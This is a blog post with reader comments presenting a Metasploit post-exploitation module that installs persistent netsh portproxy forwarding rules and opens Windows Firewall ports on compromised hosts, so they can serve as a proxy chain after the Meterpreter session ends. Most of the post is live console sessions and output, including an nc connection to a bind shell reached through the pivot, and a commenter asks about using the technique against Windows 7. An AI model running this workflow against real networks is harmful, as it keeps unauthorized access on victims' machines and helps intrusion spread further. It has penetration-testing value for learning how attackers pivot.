Portfwd is a well known feature to allow us to do port forwarding from our Meterpreter session. I think it goes without saying all the possibilities it provides. However, since this feature is part of Meterpreter (running directly from memory), once we exit our session we could not make use of it.
For this reason I made a little post-exploitation module that lets me configure forwarding rules persistently. Thus once I exit my shell I could use the compromised machine as a proxy and I won't have to worry about getting a meterpreter shell to pivot to other hosts. To do this, the script uses the portproxy interface from netsh to set up a port forwarding rule. Then it enables the given local port in the firewall to allow the inbound TCP connection. Although it's more noisier than Portfwd I think it may be useful in some scenarios.
In the following example we'll use two compromised hosts with Meterpreter as a chain of proxies to connect to the web server 192.168.1.35.
In the following example we'll use two compromised hosts with Meterpreter as a chain of proxies to connect to the web server 192.168.1.35.
msf post(portproxy) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 KRYPTON\Peregrino @ KRYPTON 192.168.1.82:4444 -> 192.168.1.131:1516 (192.168.1.131)
3 meterpreter x86/win32 MORDOR\Test @ MORDOR 192.168.1.82:4444 -> 192.168.1.104:1040 (192.168.1.104)
msf post(portproxy) > set session 3
session => 3
msf post(portproxy) > set local_port 9001
local_port => 9001
msf post(portproxy) > set local_address 0.0.0.0
local_address => 0.0.0.0
msf post(portproxy) > set connect_port 9002
connect_port => 9002
msf post(portproxy) > set connect_address 192.168.1.131
connect_address => 192.168.1.131
msf post(portproxy) > run
[*] IPv6 is already installed.
[*] Setting PortProxy ...
[+] PortProxy added.
[*] Port Forwarding Table
=====================
LOCAL IP LOCAL PORT REMOTE IP REMOTE PORT
-------- ---------- --------- -----------
0.0.0.0 6543 192.168.1.82 8888
0.0.0.0 8888 192.168.1.65 5555
0.0.0.0 9001 192.168.1.131 9002
[*] Setting port 9001 in Windows Firewall ...
[+] Port opened in Windows Firewall.
[*] Post module execution completed
msf post(portproxy) > set session 1
session => 1
msf post(portproxy) > set local_port 9002
local_port => 9002
msf post(portproxy) > set local_address 0.0.0.0
local_address => 0.0.0.0
msf post(portproxy) > set connect_port 80
connect_port => 80
msf post(portproxy) > set connect_address 192.168.1.35
connect_address => 192.168.1.35
msf post(portproxy) > show options
Module options (post/windows/manage/portproxy):
Name Current Setting Required Description
---- --------------- -------- -----------
CONNECT_ADDRESS 192.168.1.35 yes IPv4/IPv6 address to which to connect.
CONNECT_PORT 80 yes Port number to which to connect.
IPV6_XP true yes Install IPv6 on Windows XP (needed for v4tov4).
LOCAL_ADDRESS 0.0.0.0 yes IPv4/IPv6 address to which to listen.
LOCAL_PORT 9002 yes Port number to which to listen.
SESSION 3 yes The session to run this module on.
TYPE v4tov4 yes Type of forwarding (v4tov4, v6tov6, v6tov4, v4tov6)
msf post(portproxy) > run
[*] Installing IPv6... can take a little long
[+] IPv6 was successfully installed.
[*] Setting PortProxy ...
[*] Port Forwarding Table
=====================LOCAL IP LOCAL PORT REMOTE IP REMOTE PORT
-------- ---------- --------- -----------
0.0.0.0 3333 192.168.1.82 4567
0.0.0.0 9002 192.168.1.35 80
[*] Setting port 9002 in Windows Firewall ...
[+] Port opened in Windows Firewall.
[*] Post module execution completed
The IPv6_XP datastore variable is needed for Windows XP. Because of a bug, you need to install the IPv6 interface (disabled by default) in your Windows XP installation to let you setup a proxy rule; even if you want to make a proxy that maps IPv4 to IPv4 connections (v4tov4); this was the case of 192.168.1.131.
Now we can try the connection:
Now we can try the connection:
root@krypton:/tmp# wget --server-response --spider 192.168.1.104:9001
Modo arácnido activado. Comprobar si el fichero remoto existe.
--2013-08-29 15:07:26-- http://192.168.1.104:9001/
Conectando con 192.168.1.104:9001... conectado.
Petición HTTP enviada, esperando respuesta...
HTTP/1.1 200 OK
Server: BadBlue/2.7
Content-Type: text/html
Accept-Ranges: bytes
Date: Thu, 29 Aug 2013 13:11:31 GMT
ETag: "3f45655a7512d8b6:43d"
Last-Modified: Fri, 22 Aug 2003 00:35:38 GMT
Content-Length: 1085
Connection: close
Cache-control: public
Longitud: 1085 (1,1K) [text/html]
This is also a good way to run bind shells in no unreachable hosts.
root@krypton:/tmp# nc 192.168.1.104 9001
Microsoft Windows XP [Versi�n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Lab>
Nice entry!
ReplyDeleteIn any case you must to maintain active sessions in your local msconsole (on 192.168.182) in order to keep listening the proxyports. An alternative and similar way i think would be use socks4, but in this case i'm not sure if the same features an traffic forwarding will be allowed.
Through this tunnel is possible to maintain communication up to IP 7 layer?. In the past I had some problems doing it with socks4, but i this the issue was related with proxychains
Hi lobobinario, thanks for your comment.
ReplyDeleteOnce you run the module you don't need to keep active sessions from your machine (192.168.1.82 in this case). The module will create a portproxy interface in the "victim" machines (hosts 192.168.1.104 and 192.168.1.131). The interfaces will be available even after reboot so you could make use of them from any host (look at the wget and nc examples).
The module just run the "netsh interface portproxy add ...." command under the hood. Take a look at http://technet.microsoft.com/en-us/library/cc776297(v=ws.10).aspx
Regards
Thanks for your explanation Borja.
ReplyDeleteI don't have much experience with metasploit internals .I thought that meterpreter was maintaining the open socket while running and when it stops all tasks were destroyed. Now is clear and i understand the behaviour, if the proxyport is open via an OS command itself the persistence is guaranteed.
Nice!
Lobobinario,
ReplyDeleteThat happens with Portfwd (http://www.offensive-security.com/metasploit-unleashed/Portfwd), when you close the meterpreter session all port forwarding rules are closed too (since Meterpreter runs directly from memory). That's why I did this module, to activate proxy rules using the netsh interface. This solution is, however, noisier than portwd.
Regards.
Hola Borja, quería saber si solo funciona para Windows XP o se puede vulnerar usando ésta técnica contra Windows 7?
ReplyDeletemtwom Hola,
ReplyDeletesin problema, puedes utilizarlo en Windows 7.
Un saludo.
Hola Borja, estoy intentando realizar el ejemplo tal cual como lo describes pero estoy obteniendo el siguiente error:
ReplyDelete[*] IPv6 is already installed.
[*] Setting PortProxy ...
[+] PortProxy added.
[*] Port Forwarding Table
=====================
LOCAL IP LOCAL PORT REMOTE IP REMOTE PORT
-------- ---------- --------- -----------
[*] Setting port 9001 in Windows Firewall ...
[-] There was an error enabling the port.
[*] Post module execution completed
msf post(portproxy) >
Alguna sugerencia?
De antemano muchas gracias.
Borja, que pena, ya vi la razón y tiene que ver con el sistema operativo que estoy atacando, resulta que estoy atacando Windows XP SP1 y la versión que usa de netsh al parecer no soporta el contexto Firewall. así que realizaré la prueba con Windows XP SP2. Saludos.
ReplyDeleteHola mtwom,
ReplyDeleteefectivamente ese error procede del contexto del firewall (netsh firewall).
El módulo por defecto intentará habilitar el puerto establecido por el usuario en el firewall. Posteriormente, hará un "netsh firewall show state" y comprobará si en la salida del mismo aparece dicho puerto. Si hubiera algún error mostraría el mensaje que comentas. Puedes echar un ojo a la función "fw_enable_ports" para ver en detalle lo que hace:
....
output = cmd_exec("netsh","firewall show state")
if output =~ /^#{datastore['LOCAL_PORT']} /
print_good("Port opened in Windows Firewall.")
else
print_error("There was an error enabling the port.")
end
....
Para comprobar si la regla de portproxy se ha establecido correctamente puedes ejecutar: "netsh interface portproxy show all"
Un saludo :)